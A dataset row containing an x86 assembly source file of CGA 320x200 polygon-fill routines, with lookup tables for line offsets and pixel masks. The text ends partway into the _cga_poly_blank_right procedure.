max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
cga320x200/ludicrous/polyfill.asm | bocke/CGAGraphics | 17 | 82033 | DOSSEG
.MODEL small
.DATA
line_offset DW 0, 80, 160, 240, 320, 400, 480, 560, 640, 720
DW 800, 880, 960, 1040, 1120, 1200, 1280, 1360, 1440, 1520
DW 1600, 1680, 1760, 1840, 1920, 2000, 2080, 2160, 2240, 2320
DW 2400, 2480, 2560, 2640, 2720, 2800, 2880, 2960, 3040, 3120
DW 3200, 3280, 3360, 3440, 3520, 3600, 3680, 3760, 3840, 3920
DW 4000, 4080, 4160, 4240, 4320, 4400, 4480, 4560, 4640, 4720
DW 4800, 4880, 4960, 5040, 5120, 5200, 5280, 5360, 5440, 5520
DW 5600, 5680, 5760, 5840, 5920, 6000, 6080, 6160, 6240, 6320
DW 6400, 6480, 6560, 6640, 6720, 6800, 6880, 6960, 7040, 7120
DW 7200, 7280, 7360, 7440, 7520, 7600, 7680, 7760, 7840, 7920
masks1 DW 0ff00h, 03f00h, 0f00h, 0300h, 0ff01h, 03f01h, 0f01h, 0301h
DW 0ff02h, 03f02h, 0f02h, 0302h, 0ff03h, 03f03h, 0f03h, 0303h
DW 0ff04h, 03f04h, 0f04h, 0304h, 0ff05h, 03f05h, 0f05h, 0305h
DW 0ff06h, 03f06h, 0f06h, 0306h, 0ff07h, 03f07h, 0f07h, 0307h
DW 0ff08h, 03f08h, 0f08h, 0308h, 0ff09h, 03f09h, 0f09h, 0309h
DW 0ff0ah, 03f0ah, 0f0ah, 030ah, 0ff0bh, 03f0bh, 0f0bh, 030bh
DW 0ff0ch, 03f0ch, 0f0ch, 030ch, 0ff0dh, 03f0dh, 0f0dh, 030dh
DW 0ff0eh, 03f0eh, 0f0eh, 030eh, 0ff0fh, 03f0fh, 0f0fh, 030fh
DW 0ff10h, 03f10h, 0f10h, 0310h, 0ff11h, 03f11h, 0f11h, 0311h
DW 0ff12h, 03f12h, 0f12h, 0312h, 0ff13h, 03f13h, 0f13h, 0313h
DW 0ff14h, 03f14h, 0f14h, 0314h, 0ff15h, 03f15h, 0f15h, 0315h
DW 0ff16h, 03f16h, 0f16h, 0316h, 0ff17h, 03f17h, 0f17h, 0317h
DW 0ff18h, 03f18h, 0f18h, 0318h, 0ff19h, 03f19h, 0f19h, 0319h
DW 0ff1ah, 03f1ah, 0f1ah, 031ah, 0ff1bh, 03f1bh, 0f1bh, 031bh
DW 0ff1ch, 03f1ch, 0f1ch, 031ch, 0ff1dh, 03f1dh, 0f1dh, 031dh
DW 0ff1eh, 03f1eh, 0f1eh, 031eh, 0ff1fh, 03f1fh, 0f1fh, 031fh
DW 0ff20h, 03f20h, 0f20h, 0320h, 0ff21h, 03f21h, 0f21h, 0321h
DW 0ff22h, 03f22h, 0f22h, 0322h, 0ff23h, 03f23h, 0f23h, 0323h
DW 0ff24h, 03f24h, 0f24h, 0324h, 0ff25h, 03f25h, 0f25h, 0325h
DW 0ff26h, 03f26h, 0f26h, 0326h, 0ff27h, 03f27h, 0f27h, 0327h
DW 0ff28h, 03f28h, 0f28h, 0328h, 0ff29h, 03f29h, 0f29h, 0329h
DW 0ff2ah, 03f2ah, 0f2ah, 032ah, 0ff2bh, 03f2bh, 0f2bh, 032bh
DW 0ff2ch, 03f2ch, 0f2ch, 032ch, 0ff2dh, 03f2dh, 0f2dh, 032dh
DW 0ff2eh, 03f2eh, 0f2eh, 032eh, 0ff2fh, 03f2fh, 0f2fh, 032fh
DW 0ff30h, 03f30h, 0f30h, 0330h, 0ff31h, 03f31h, 0f31h, 0331h
DW 0ff32h, 03f32h, 0f32h, 0332h, 0ff33h, 03f33h, 0f33h, 0333h
DW 0ff34h, 03f34h, 0f34h, 0334h, 0ff35h, 03f35h, 0f35h, 0335h
DW 0ff36h, 03f36h, 0f36h, 0336h, 0ff37h, 03f37h, 0f37h, 0337h
DW 0ff38h, 03f38h, 0f38h, 0338h, 0ff39h, 03f39h, 0f39h, 0339h
DW 0ff3ah, 03f3ah, 0f3ah, 033ah, 0ff3bh, 03f3bh, 0f3bh, 033bh
DW 0ff3ch, 03f3ch, 0f3ch, 033ch, 0ff3dh, 03f3dh, 0f3dh, 033dh
DW 0ff3eh, 03f3eh, 0f3eh, 033eh, 0ff3fh, 03f3fh, 0f3fh, 033fh
masks2 DW 0c000h, 0f000h, 0fc00h, 0ff00h, 0c001h, 0f001h, 0fc01h, 0ff01h
DW 0c002h, 0f002h, 0fc02h, 0ff02h, 0c003h, 0f003h, 0fc03h, 0ff03h
DW 0c004h, 0f004h, 0fc04h, 0ff04h, 0c005h, 0f005h, 0fc05h, 0ff05h
DW 0c006h, 0f006h, 0fc06h, 0ff06h, 0c007h, 0f007h, 0fc07h, 0ff07h
DW 0c008h, 0f008h, 0fc08h, 0ff08h, 0c009h, 0f009h, 0fc09h, 0ff09h
DW 0c00ah, 0f00ah, 0fc0ah, 0ff0ah, 0c00bh, 0f00bh, 0fc0bh, 0ff0bh
DW 0c00ch, 0f00ch, 0fc0ch, 0ff0ch, 0c00dh, 0f00dh, 0fc0dh, 0ff0dh
DW 0c00eh, 0f00eh, 0fc0eh, 0ff0eh, 0c00fh, 0f00fh, 0fc0fh, 0ff0fh
DW 0c010h, 0f010h, 0fc10h, 0ff10h, 0c011h, 0f011h, 0fc11h, 0ff11h
DW 0c012h, 0f012h, 0fc12h, 0ff12h, 0c013h, 0f013h, 0fc13h, 0ff13h
DW 0c014h, 0f014h, 0fc14h, 0ff14h, 0c015h, 0f015h, 0fc15h, 0ff15h
DW 0c016h, 0f016h, 0fc16h, 0ff16h, 0c017h, 0f017h, 0fc17h, 0ff17h
DW 0c018h, 0f018h, 0fc18h, 0ff18h, 0c019h, 0f019h, 0fc19h, 0ff19h
DW 0c01ah, 0f01ah, 0fc1ah, 0ff1ah, 0c01bh, 0f01bh, 0fc1bh, 0ff1bh
DW 0c01ch, 0f01ch, 0fc1ch, 0ff1ch, 0c01dh, 0f01dh, 0fc1dh, 0ff1dh
DW 0c01eh, 0f01eh, 0fc1eh, 0ff1eh, 0c01fh, 0f01fh, 0fc1fh, 0ff1fh
DW 0c020h, 0f020h, 0fc20h, 0ff20h, 0c021h, 0f021h, 0fc21h, 0ff21h
DW 0c022h, 0f022h, 0fc22h, 0ff22h, 0c023h, 0f023h, 0fc23h, 0ff23h
DW 0c024h, 0f024h, 0fc24h, 0ff24h, 0c025h, 0f025h, 0fc25h, 0ff25h
DW 0c026h, 0f026h, 0fc26h, 0ff26h, 0c027h, 0f027h, 0fc27h, 0ff27h
DW 0c028h, 0f028h, 0fc28h, 0ff28h, 0c029h, 0f029h, 0fc29h, 0ff29h
DW 0c02ah, 0f02ah, 0fc2ah, 0ff2ah, 0c02bh, 0f02bh, 0fc2bh, 0ff2bh
DW 0c02ch, 0f02ch, 0fc2ch, 0ff2ch, 0c02dh, 0f02dh, 0fc2dh, 0ff2dh
DW 0c02eh, 0f02eh, 0fc2eh, 0ff2eh, 0c02fh, 0f02fh, 0fc2fh, 0ff2fh
DW 0c030h, 0f030h, 0fc30h, 0ff30h, 0c031h, 0f031h, 0fc31h, 0ff31h
DW 0c032h, 0f032h, 0fc32h, 0ff32h, 0c033h, 0f033h, 0fc33h, 0ff33h
DW 0c034h, 0f034h, 0fc34h, 0ff34h, 0c035h, 0f035h, 0fc35h, 0ff35h
DW 0c036h, 0f036h, 0fc36h, 0ff36h, 0c037h, 0f037h, 0fc37h, 0ff37h
DW 0c038h, 0f038h, 0fc38h, 0ff38h, 0c039h, 0f039h, 0fc39h, 0ff39h
DW 0c03ah, 0f03ah, 0fc3ah, 0ff3ah, 0c03bh, 0f03bh, 0fc3bh, 0ff3bh
DW 0c03ch, 0f03ch, 0fc3ch, 0ff3ch, 0c03dh, 0f03dh, 0fc3dh, 0ff3dh
DW 0c03eh, 0f03eh, 0fc3eh, 0ff3eh, 0c03fh, 0f03fh, 0fc3fh, 0ff3fh
PUBLIC line_offset
.CODE
diffs DW 0
PUBLIC _cga_poly_fill
_cga_poly_fill PROC
ARG buff:DWORD, x1:WORD, x2:WORD, y:WORD, inc1:WORD, inc2:WORD, len:WORD, minx:WORD, colour:BYTE, retlr:BYTE
; fill a polygon with top points at (x1, y) and (x2, y) with
; increments in the x direction in inc1[i] and inc2[i].
; Negative and zero spans are ignored. Rightmost pixels and the
; first span, at line y, are omitted.
push bp
mov bp, sp
push di
push si
les di, buff ; get buffer address in es:di
mov dl, [colour] ; put solid colour in dl
mov bx, [y] ; adjust offset of CGA bank (odd/even)
shr bx, 1
jnc poly_fill_even_y
add di, 8192
ror dl, 1 ; adjust colour pattern for odd line
ror dl, 1
poly_fill_even_y:
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
mov si, [inc1] ; get addresses of increments buffers
mov ax, [inc2]
sub ax, si
mov WORD PTR cs:[poly_fill_patch1 + 2], ax
mov WORD PTR cs:[poly_fill_patch2 + 2], ax
mov ax, [x1]
mov cx, [x2]
dec cx ; rightmost pixel is not drawn
mov bx, [minx] ; adjust so diffs are in range
dec bx
and bx, 0fffch
sub ax, bx
sub cx, bx
sar bx, 1
sar bx, 1
add di, bx
mov ah, cl
mov dh, BYTE PTR [len] ; get number of horizontal lines
; first line is not drawn
cmp dh, 0
jne poly_fill_lines_ne0
jmp poly_fill_end
poly_fill_lines_ne0:
push bp
mov bp, ax
poly_fill_long_loop:
inc si
mov ax, bp ; update diffs
add al, [si]
poly_fill_patch1:
add ah, [si+200]
mov bp, ax
xor bh, bh
shl ax, 1 ; get masks and offsets
mov bl, ah
mov cx, [bx+masks2]
mov bl, al
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
jbe poly_fill_short
poly_fill_long:
xchg bl, ch
mov ax, bx
and bl, dl
and bh, dl
xchg bx, di
not ax
add bl, ch
adc bh, 0
and ah, es:[bx] ; low pixel byte
add bl, cl ; switch to high offset
adc bh, 0
and al, es:[bx] ; high pixel byte
or ax, di
mov es:[bx], al ; put pixel bytes back
sub bl, cl
sbb bh, 0
mov es:[bx], ah
mov di, bx
sub bl, ch
sbb bh, 0
xor ch, ch
mov al, dl ; prepare colour and iterations
mov ah, dl
inc di
dec cx
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx ; restore di
sub di, 8112 ; increment y
jnc poly_fill_long_incy
add di, 16304
poly_fill_long_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_long_loop
jmp poly_fill_end
poly_fill_short_loop:
inc si
mov ax, bp ; update diffs
add al, [si]
poly_fill_patch2:
add ah, [si+200]
mov bp, ax
xor bh, bh
shl ax, 1 ; get masks and offsets
mov bl, ah
mov cx, [bx+masks2]
mov bl, al
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
ja poly_fill_long
poly_fill_short:
jb poly_fill_short_skip
and bh, ch
mov ah, bh
mov al, ah
not al
and ah, dl
xor bh, bh
add bx, di
and al, es:[bx] ; high pixel byte
or al, ah
mov es:[bx], al ; put pixel bytes back
poly_fill_short_skip:
sub di, 8112 ; increment y
jnc poly_fill_short_incy
add di, 16304
poly_fill_short_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_short_loop
poly_fill_end:
mov ax, bp
pop bp
cmp [retlr], 0
je poly_fill_short_l
xchg al, ah
inc al ; compensate for the dec cx at the beginning
poly_fill_short_l:
pop si
pop di
pop bp
ret
_cga_poly_fill ENDP
PUBLIC _cga_poly_fill_fast
_cga_poly_fill_fast PROC
ARG buff:DWORD, x1:WORD, x2:WORD, y:WORD, inc1:WORD, inc2:WORD, len:WORD, minx:WORD, colour:BYTE
; fill a polygon with top points at (x1, y) and (x2, y) with
; increments in the x direction in inc1[i] and inc2[i].
; Negative and zero spans are ignored. Rightmost pixels and the
; first span, at line y, are omitted. The rightmost byte is
; filled up to the byte boundary.
push bp
mov bp, sp
push di
push si
les di, buff ; get buffer address in es:di
mov dl, [colour] ; put solid colour in dl
mov bx, [y] ; adjust offset of CGA bank (odd/even)
shr bx, 1
jnc poly_fill_fast_even_y
add di, 8192
ror dl, 1 ; adjust colour pattern for odd line
ror dl, 1
poly_fill_fast_even_y:
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
mov si, [inc1] ; get addresses of increments buffers
mov ax, [inc2]
sub ax, si
mov WORD PTR cs:[poly_fill_fast_patch1 + 2], ax
mov WORD PTR cs:[poly_fill_fast_patch2 + 2], ax
mov ax, [x1]
mov cx, [x2]
dec cx ; rightmost pixel is not drawn
mov bx, [minx] ; adjust so diffs are in range
dec bx
and bx, 0fffch
sub ax, bx
sub cx, bx
sar bx, 1
sar bx, 1
add di, bx
mov ah, cl
mov dh, BYTE PTR [len] ; get number of horizontal lines
; first line is not drawn
cmp dh, 0
jne poly_fill_fast_lines_ne0
jmp poly_fill_fast_end
poly_fill_fast_lines_ne0:
mov bp, ax
xor cx, cx ; routine expects cx = 0 throughout
xor al, al ; routine expects al = 0 throughout
poly_fill_fast_long_loop:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_fill_fast_patch1:
add bh, [si+200]
mov bp, bx
xchg cl, bh
shl bx, 1 ; get masks and offsets
shr cl, 1
shr cl, 1
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
jbe poly_fill_fast_short
poly_fill_fast_long:
xchg al, bh
mov ah, al
and ah, dl
add bx, di
not al
and al, es:[bx] ; low pixel byte
or al, ah
xchg di, bx
stosb
mov al, dl ; prepare colour and iterations
mov ah, dl
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx ; restore di
xor al, al
sub di, 8112 ; increment y
jnc poly_fill_fast_long_incy
add di, 16304
poly_fill_fast_long_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_fast_long_loop
jmp poly_fill_fast_end
poly_fill_fast_short_loop:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_fill_fast_patch2:
add bh, [si+200]
mov bp, bx
xchg cl, bh
shl bx, 1 ; get masks and offsets
shr cl, 1
shr cl, 1
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
ja poly_fill_fast_long
poly_fill_fast_short:
jb poly_fill_fast_short_skip
xchg al, bh
mov ah, al
not al
and ah, dl
add bx, di
and al, es:[bx] ; high pixel byte
or al, ah
mov es:[bx], al ; put pixel bytes back
xor al, al
poly_fill_fast_short_skip:
xor cx, cx
sub di, 8112 ; increment y
jnc poly_fill_fast_short_incy
add di, 16304
poly_fill_fast_short_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_fast_short_loop
poly_fill_fast_end:
pop si
pop di
pop bp
ret
_cga_poly_fill_fast ENDP
PUBLIC _cga_poly_fill_left
_cga_poly_fill_left PROC
ARG buff:DWORD, x1:WORD, x2:WORD, y:WORD, inc1:WORD, inc2:WORD, len:WORD, minx:WORD, colour:BYTE, retlr:BYTE
; fill a polygon with top points at (x1, y) and (x2, y) with
; increments in the x direction in inc1[i] and inc2[i]. Blank pixels to the
; left of the polygon in any bytes written there.
; Negative and zero spans are ignored. Rightmost pixels and the
; first span, at line y, are omitted.
push bp
mov bp, sp
push di
push si
les di, buff ; get buffer address in es:di
mov dl, [colour] ; put solid colour in dl
mov bx, [y] ; adjust offset of CGA bank (odd/even)
shr bx, 1
jnc poly_fill_left_even_y
add di, 8192
ror dl, 1 ; adjust colour pattern for odd line
ror dl, 1
poly_fill_left_even_y:
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
mov si, [inc1] ; get addresses of increments buffers
mov ax, [inc2]
sub ax, si
mov WORD PTR cs:[poly_fill_left_patch1 + 2], ax
mov WORD PTR cs:[poly_fill_left_patch2 + 2], ax
mov ax, [x1]
mov cx, [x2]
dec cx ; rightmost pixel is not drawn
mov bx, [minx] ; adjust so diffs are in range
dec bx
and bx, 0fffch
sub ax, bx
sub cx, bx
sar bx, 1
sar bx, 1
add di, bx
mov ah, cl
mov dh, BYTE PTR [len] ; get number of horizontal lines
; first line is not drawn
cmp dh, 0
jne poly_fill_left_lines_ne0
jmp poly_fill_left_end
poly_fill_left_lines_ne0:
push bp
mov bp, ax
poly_fill_left_long_loop:
inc si
mov ax, bp ; update diffs
add al, [si]
poly_fill_left_patch1:
add ah, [si+200]
mov bp, ax
xor bh, bh
shl ax, 1 ; get masks and offsets
mov bl, al
mov cx, [bx+masks1]
mov bl, ah
mov bx, [bx+masks2]
sub cl, bl ; get diff of offsets
jae poly_fill_left_short
poly_fill_left_long:
neg cl
xchg bl, ch
mov ax, bx
and bl, dl
and bh, dl
xchg bx, di
not ax
add bl, ch ; switch to high offset
adc bh, 0
and ah, es:[bx] ; high pixel byte
xor al, al
or ax, di
mov es:[bx], ah ; put pixel bytes back
sub bl, cl ; switch to low offset
sbb bh, 0
mov di, bx
stosb
sub ch, cl
sub bl, ch ; restore di
sbb bh, 0
xor ch, ch
mov al, dl ; prepare colour and iterations
mov ah, dl
dec cx
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx ; restore di
sub di, 8112 ; increment y
jnc poly_fill_left_long_incy
add di, 16304
poly_fill_left_long_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_left_long_loop
jmp poly_fill_left_end
poly_fill_left_short_loop:
inc si
mov ax, bp ; update diffs
add al, [si]
poly_fill_left_patch2:
add ah, [si+200]
mov bp, ax
xor bh, bh
shl ax, 1 ; get masks and offsets
mov bl, al
mov cx, [bx+masks1]
mov bl, ah
mov bx, [bx+masks2]
sub cl, bl ; get diff of offsets
jb poly_fill_left_long
poly_fill_left_short:
ja poly_fill_left_short_skip
mov al, bh
and bh, ch
mov ah, bh
not al
and ah, dl
xor bh, bh
add bx, di
and al, es:[bx] ; high pixel byte
or al, ah
mov es:[bx], al ; put pixel bytes back
poly_fill_left_short_skip:
sub di, 8112 ; increment y
jnc poly_fill_left_short_incy
add di, 16304
poly_fill_left_short_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_left_short_loop
poly_fill_left_end:
mov ax, bp
pop bp
cmp [retlr], 0
je poly_fill_left_short_l
xchg al, ah
inc al ; compensate for the dec cx at the beginning
poly_fill_left_short_l:
pop si
pop di
pop bp
ret
_cga_poly_fill_left ENDP
PUBLIC _cga_poly_fill_right
_cga_poly_fill_right PROC
ARG buff:DWORD, x1:WORD, x2:WORD, y:WORD, inc1:WORD, inc2:WORD, len:WORD, minx:WORD, colour:BYTE, retlr:BYTE
; fill a polygon with top points at (x1, y) and (x2, y) with
; increments in the x direction in inc1[i] and inc2[i]. Blank pixels to the
; right of the polygon in any bytes written there.
; Negative and zero spans are ignored. Rightmost pixels and the
; first span, at line y, are omitted.
push bp
mov bp, sp
push di
push si
les di, buff ; get buffer address in es:di
mov dl, [colour] ; put solid colour in dl
mov bx, [y] ; adjust offset of CGA bank (odd/even)
shr bx, 1
jnc poly_fill_right_even_y
add di, 8192
ror dl, 1 ; adjust colour pattern for odd line
ror dl, 1
poly_fill_right_even_y:
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
mov si, [inc1] ; get addresses of increments buffers
mov ax, [inc2]
sub ax, si
mov WORD PTR cs:[poly_fill_right_patch1 + 2], ax
mov WORD PTR cs:[poly_fill_right_patch2 + 2], ax
mov ax, [x1]
mov cx, [x2]
dec cx ; rightmost pixel is not drawn
mov bx, [minx] ; adjust so diffs are in range
dec bx
and bx, 0fffch
sub ax, bx
sub cx, bx
sar bx, 1
sar bx, 1
add di, bx
mov ah, cl
mov dh, BYTE PTR [len] ; get number of horizontal lines
; first line is not drawn
cmp dh, 0
jne poly_fill_right_lines_ne0
jmp poly_fill_right_end
poly_fill_right_lines_ne0:
push bp
mov bp, ax
std
poly_fill_right_long_loop:
inc si
mov ax, bp ; update diffs
add al, [si]
poly_fill_right_patch1:
add ah, [si+200]
mov bp, ax
xor bh, bh
shl ax, 1 ; get masks and offsets
mov bl, ah
mov cx, [bx+masks2]
mov bl, al
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
jbe poly_fill_right_short
poly_fill_right_long:
xchg bl, ch
mov ax, bx
and bl, dl
and bh, dl
xchg bx, di
not ax
add bl, ch ; switch to low offset
adc bh, 0
and ah, es:[bx] ; low pixel byte
xor al, al
or ax, di
mov es:[bx], ah ; put pixel bytes back
add bl, cl ; switch to high offset
adc bh, 0
mov di, bx
stosb
add ch, cl
sub bl, ch ; restore di
sbb bh, 0
xor ch, ch
mov al, dl ; prepare colour and iterations
mov ah, dl
dec di
dec cx
shr cx, 1 ; write out full byte and words
rep stosw
jnc poly_fill_right_long_even
inc di
stosb
poly_fill_right_long_even:
mov di, bx ; restore di
sub di, 8112 ; increment y
jnc poly_fill_right_long_incy
add di, 16304
poly_fill_right_long_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_right_long_loop
jmp poly_fill_right_end
poly_fill_right_short_loop:
inc si
mov ax, bp ; update diffs
add al, [si]
poly_fill_right_patch2:
add ah, [si+200]
mov bp, ax
xor bh, bh
shl ax, 1 ; get masks and offsets
mov bl, ah
mov cx, [bx+masks2]
mov bl, al
mov bx, [bx+masks1]
sub cl, bl ; get diff of offsets
ja poly_fill_right_long
poly_fill_right_short:
jb poly_fill_right_short_skip
mov al, bh
and bh, ch
mov ah, bh
not al
and ah, dl
xor bh, bh
add bx, di
and al, es:[bx] ; low pixel byte
or al, ah
mov es:[bx], al ; put pixel bytes back
poly_fill_right_short_skip:
sub di, 8112 ; increment y
jnc poly_fill_right_short_incy
add di, 16304
poly_fill_right_short_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_right_short_loop
poly_fill_right_end:
mov ax, bp
pop bp
cmp [retlr], 0
je poly_fill_right_short_l
xchg al, ah
inc al ; compensate for the dec cx at the beginning
poly_fill_right_short_l:
cld
pop si
pop di
pop bp
ret
_cga_poly_fill_right ENDP
PUBLIC _cga_poly_fill_both
_cga_poly_fill_both PROC
ARG buff:DWORD, x1:WORD, x2:WORD, y:WORD, inc1:WORD, inc2:WORD, len:WORD, minx:WORD, colour:BYTE, retlr:BYTE
; fill a polygon with top points at (x1, y) and (x2, y) with
; increments in the x direction in inc1[i] and inc2[i]. Blank pixels to
; both sides of the polygon in any bytes written there.
; Negative and zero spans are ignored. Rightmost pixels and the
; first span, at line y, are omitted.
push bp
mov bp, sp
push di
push si
les di, buff ; get buffer address in es:di
mov dl, [colour] ; put solid colour in dl
mov bx, [y] ; adjust offset of CGA bank (odd/even)
shr bx, 1
jnc poly_fill_both_even_y
add di, 8192
ror dl, 1 ; adjust colour pattern for odd line
ror dl, 1
poly_fill_both_even_y:
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
mov si, [inc1] ; get addresses of increments buffers
mov ax, [inc2]
sub ax, si
mov WORD PTR cs:[poly_fill_both_patch1 + 2], ax
mov WORD PTR cs:[poly_fill_both_patch2 + 2], ax
mov ax, [x1]
mov cx, [x2]
dec cx ; rightmost pixel is not drawn
mov bx, [minx] ; adjust so diffs are in range
dec bx
and bx, 0fffch
sub ax, bx
sub cx, bx
sar bx, 1
sar bx, 1
add di, bx
mov ah, cl
mov dh, BYTE PTR [len] ; get number of horizontal lines
; first line is not drawn
cmp dh, 0
jne poly_fill_both_lines_ne0
jmp poly_fill_both_end
poly_fill_both_lines_ne0:
push bp
mov bp, ax
poly_fill_both_long_loop:
inc si
mov ax, bp ; update diffs
add al, [si]
poly_fill_both_patch1:
add ah, [si+200]
mov bp, ax
xor bh, bh
shl ax, 1 ; get masks and offsets
mov bl, al
mov cx, [bx+masks1]
mov bl, ah
mov bx, [bx+masks2]
sub cl, bl ; get diff of offsets
jae poly_fill_both_short
poly_fill_both_long:
neg cl
xchg bl, ch
and bl, dl
and bh, dl
mov ax, bx
mov bx, di
add bl, ch ; switch to high offset
adc bh, 0
mov es:[bx], ah ; put pixel bytes in
sub bl, cl ; switch to low offset
sbb bh, 0
mov di, bx
stosb
sub ch, cl
sub bl, ch ; restore di
sbb bh, 0
xor ch, ch
mov al, dl ; prepare colour and iterations
mov ah, dl
dec cx
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx ; restore di
sub di, 8112 ; increment y
jnc poly_fill_both_long_incy
add di, 16304
poly_fill_both_long_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_both_long_loop
jmp poly_fill_both_end
poly_fill_both_short_loop:
inc si
mov ax, bp ; update diffs
add al, [si]
poly_fill_both_patch2:
add ah, [si+200]
mov bp, ax
xor bh, bh
shl ax, 1 ; get masks and offsets
mov bl, al
mov cx, [bx+masks1]
mov bl, ah
mov bx, [bx+masks2]
sub cl, bl ; get diff of offsets
jb poly_fill_both_long
poly_fill_both_short:
ja poly_fill_both_short_skip
and bh, ch
mov ah, bh
and ah, dl
xor bh, bh
add bx, di
mov es:[bx], ah ; put pixel bytes back
poly_fill_both_short_skip:
sub di, 8112 ; increment y
jnc poly_fill_both_short_incy
add di, 16304
poly_fill_both_short_incy:
ror dl, 1 ; rotate colour
ror dl, 1
dec dh
jnz poly_fill_both_short_loop
poly_fill_both_end:
mov ax, bp
pop bp
cmp [retlr], 0
je poly_fill_both_short_l
xchg al, ah
inc al ; compensate for the dec cx at the beginning
poly_fill_both_short_l:
pop si
pop di
pop bp
ret
_cga_poly_fill_both ENDP
PUBLIC _cga_poly_blank_left
_cga_poly_blank_left PROC
ARG buff:DWORD, x1:WORD, x2:WORD, y:WORD, inc1:WORD, inc2:WORD, len:WORD, minx:WORD, colour:BYTE
; fill a polygon with top points at (x1, y) and (x2, y) with
; increments in the x direction in inc1[i] and inc2[i] with zeros,
; not being too particular about the left side (for performance
; reasons, i.e. fill to the next byte boundary) and only writing the
; rightmost byte if it is up against a byte boundary.
; Negative and zero spans are ignored. Rightmost pixels and the
; first span, at line y, are omitted.
push bp
mov bp, sp
push di
push si
les di, buff ; get buffer address in es:di
mov si, [inc1] ; get addresses of increments buffers
mov ax, [inc2]
sub ax, si
mov WORD PTR cs:[poly_blank_left_patch1 + 2], ax
mov WORD PTR cs:[poly_blank_left_patch2 + 2], ax
mov WORD PTR cs:[poly_blank_left_patch1_odd + 2], ax
mov WORD PTR cs:[poly_blank_left_patch2_odd + 2], ax
mov ax, [x1]
mov cx, [x2]
; rightmost pixel is not drawn
; but we adjust for this elsewhere
mov bx, [minx] ; adjust so diffs are in range
dec bx
and bx, 0fffch
sub ax, bx
sub cx, bx
sar bx, 1
sar bx, 1
add di, bx
mov ah, cl ; put starting points in diffs
mov dh, BYTE PTR [len] ; get number of horizontal lines
; first line is not drawn
cmp dh, 0
jne poly_blank_left_lines_ne0
jmp poly_blank_left_end
poly_blank_left_lines_ne0:
mov bx, [y] ; adjust offset of CGA bank (odd/even)
shr bx, 1
jnc poly_blank_left_even_y
add di, 8192
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
xor bh, bh ; routine expects bh = 0 throughout
mov bp, ax
jmp poly_blank_left_long_loop_odd
poly_blank_left_even_y:
shl bx, 1 ; adjust offset for line y
add di, [bx+line_offset]
xor bh, bh ; routine expects bh = 0 throughout
mov bp, ax
poly_blank_left_long_loop:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_left_patch1:
add bh, [si+200]
mov bp, bx
shr bx, 1 ; compute offsets
shr bx, 1
mov cl, bh
and bl, 03fh
sub cl, bl ; get diff of offsets, don't draw right byte
jbe poly_blank_left_short
poly_blank_left_long:
xor bh, bh ; bx = low offset
add bx, di
xchg di, bx
xor ax, ax ; zeros to be written
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx
add di, 8192 ; increment y
dec dh
jnz poly_blank_left_long_loop_odd
jmp poly_blank_left_end
poly_blank_left_long_loop_odd:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_left_patch1_odd:
add bh, [si+200]
mov bp, bx
shr bx, 1 ; compute offsets
shr bx, 1
mov cl, bh
and bl, 03fh
sub cl, bl ; get diff of offsets, don't draw right byte
jbe poly_blank_left_short_odd
poly_blank_left_long_odd:
xor bh, bh ; bx = low offset
add bx, di
xchg di, bx
xor ax, ax ; zeros to be written
shr cx, 1 ; write out full byte and words
rep stosw
adc cx, cx
rep stosb
mov di, bx
sub di, 8112 ; increment y
dec dh
jnz poly_blank_left_long_loop
jmp poly_blank_left_end
poly_blank_left_short_loop:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_left_patch2:
add bh, [si+200]
mov bp, bx
shr bx, 1 ; compute offsets
shr bx, 1
and bl, 03fh
mov cl, bh
sub cl, bl ; get diff of offsets
ja poly_blank_left_long
poly_blank_left_short:
add di, 8192 ; increment y
dec dh
jnz poly_blank_left_short_loop_odd
jmp poly_blank_left_end
poly_blank_left_short_loop_odd:
inc si
mov bx, bp ; update diffs
add bl, [si]
poly_blank_left_patch2_odd:
add bh, [si+200]
mov bp, bx
shr bx, 1 ; compute offsets
shr bx, 1
and bl, 03fh
mov cl, bh
sub cl, bl ; get diff of offsets
ja poly_blank_left_long_odd
poly_blank_left_short_odd:
sub di, 8112 ; increment y
dec dh
jnz poly_blank_left_short_loop
poly_blank_left_end:
pop si
pop di
pop bp
ret
_cga_poly_blank_left ENDP
PUBLIC _cga_poly_blank_right
_cga_poly_blank_right PROC
ARG buff:DWORD, x1:WORD, x2:WORD, y:WORD, inc1:WORD, inc2:WORD, len:WORD, minx:WORD, colour:BYTE
; fill a polygon with top points at (x1, y) and (x2, y) with
